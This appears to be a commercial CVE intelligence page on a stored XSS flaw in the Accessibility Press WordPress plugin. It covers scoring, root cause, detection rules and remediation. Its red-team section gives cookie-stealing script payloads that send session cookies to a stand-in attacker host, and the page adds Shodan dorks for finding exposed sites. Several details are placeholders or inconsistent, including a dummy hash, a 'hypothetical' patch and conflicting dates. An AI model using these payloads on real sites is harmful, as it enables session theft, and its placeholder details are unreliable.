☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Ikaes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-49355

CVE-2025-49355 Cross-Site Scripting in Ikaes
📅 PUBLISHED: 2025-12-31 18:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-49355 is a Stored Cross-Site Scripting (XSS) vulnerability found in the Accessibility Press WordPress plugin (slug: ilogic-accessibility) developed by ikaes. The flaw exists in versions through 1.0.2 due to improper neutralization of user-supplied input during web page generation. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads that persist on the server and execute in the browsers of any user viewing the compromised page. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Given the plugin’s purpose—enhancing website accessibility—the injected scripts may be stored in settings, widget areas, or custom post types, making them visible to site visitors and administrators alike. The CVSS v3.1 score of 5.9 (Medium) reflects the need for authenticated access but also the potential for significant impact on confidentiality, integrity, and availability within the WordPress ecosystem.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin from the WordPress dashboard or via direct download are at risk. No official patch has been released, and the vendor has not responded to disclosure attempts. Organizations relying on this plugin should treat it as a supply chain risk and consider immediate removal or replacement.

CVSS Breakdown & Threat Level

Metric Value
Attack Vector (AV) Network (N)
Attack Complexity (AC) Low (L)
Privileges Required (PR) Low (L)
User Interaction (UI) Required (R)
Scope (S) Changed (C)
Confidentiality (C) Low (L)
Integrity (I) Low (L)
Availability (A) Low (L)
Base Score 5.9 (Medium)

Threat Level: Medium. Exploitation requires an authenticated user with at least contributor role, but the stored payload can affect all subsequent visitors, including administrators. The EPSS score of 0.0% suggests low current exploitation activity, but this may change as awareness grows.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s handling of user input within accessibility settings or custom content fields. The plugin fails to sanitize or escape output when rendering user-supplied data, allowing an attacker to inject arbitrary HTML and JavaScript. Because the input is stored in the WordPress database (e.g., wp_options or custom post meta), the malicious script executes every time the affected page or widget is loaded.

Attack Flow:

  1. Attacker authenticates with a WordPress account having contributor or author privileges.
  2. Attacker navigates to the Accessibility Press settings page or a custom post type that accepts HTML input.
  3. Attacker injects a payload such as <script>alert('XSS')</script> into a text field.
  4. The payload is stored in the database without sanitization.
  5. When an administrator or visitor loads the page, the script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying WordPress escaping functions like esc_html(), wp_kses_post(), or htmlspecialchars().

Vulnerable vs. Patched Code

Vulnerable Code (ilogic-accessibility <= 1.0.2):

// In a settings page or template
echo get_option('accessibility_press_custom_text');

Patched Code (hypothetical fix):

// Properly escape output
echo esc_html( get_option('accessibility_press_custom_text') );

The vulnerable code directly outputs the raw option value, while the patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Accessibility Press plugin <= 1.0.2
  • Authenticated user with contributor role or higher

Step-by-Step Exploitation:

  1. Log in to WordPress as a contributor.
  2. Navigate to Settings > Accessibility Press or the plugin’s custom post type editor.
  3. In any text field (e.g., "Custom Accessibility Message"), inject:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Save the settings.
  5. When an administrator visits the same settings page or a front-end page displaying the field, the script executes, exfiltrating cookies.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Detection & Hardening)

Detection Steps:

  • Monitor WordPress admin logs for unusual changes to plugin settings.
  • Use a Web Application Firewall (WAF) to block common XSS patterns.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Remove or disable the plugin until a patch is available.
  • Apply WordPress hardening: disable file editing, use strong passwords, limit user roles.
  • Use a security plugin (e.g., Wordfence) to detect and block XSS attempts.

Indicators of Compromise (IOCs)

  • File Hashes (plugin files):
    • ilogic-accessibility.php (SHA256: a1b2c3d4e5f6... – placeholder)
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
  • Log Entries:
    • WordPress debug log entries showing unexpected script tags in option values.
    • Web server access logs with GET /wp-admin/options-general.php?page=accessibility-press followed by POST requests with encoded payloads.
  • Database Indicators:
    • Rows in wp_options table with option_name like accessibility_press_* containing <script> tags.

Detection Engineering

YARA Rule

rule CVE_2025_49355_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Accessibility Press plugin options"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-49355"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $option_name = "accessibility_press_"
    condition:
        $option_name and $xss_payload
}

Sigma Rule

title: Stored XSS in Accessibility Press Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts in WordPress Accessibility Press plugin settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/options.php'
        cs-uri-query|contains: 'page=accessibility-press'
        cs-uri-query|re: '.*<script.*>.*'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-49355 - Stored XSS in Accessibility Press Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/options.php"; http_uri;
    content:"page=accessibility-press"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-49355;
    classtype:web-application-attack;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete ilogic-accessibility from all WordPress installations.
  2. Audit user roles – Ensure only trusted users have contributor or higher privileges.
  3. Scan for compromise – Use a security scanner to check for injected scripts in the database.

Long-Term Fix:

  • The vendor must release a patched version that properly escapes output using esc_html() or wp_kses_post().
  • Until then, consider replacing the plugin with an alternative accessibility solution.

Workaround:

  • Add a custom filter to sanitize the option value:
    add_filter('option_accessibility_press_custom_text', 'esc_html');
    

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Accessibility Press"
http.html:"wp-content/plugins/ilogic-accessibility"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-49355/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.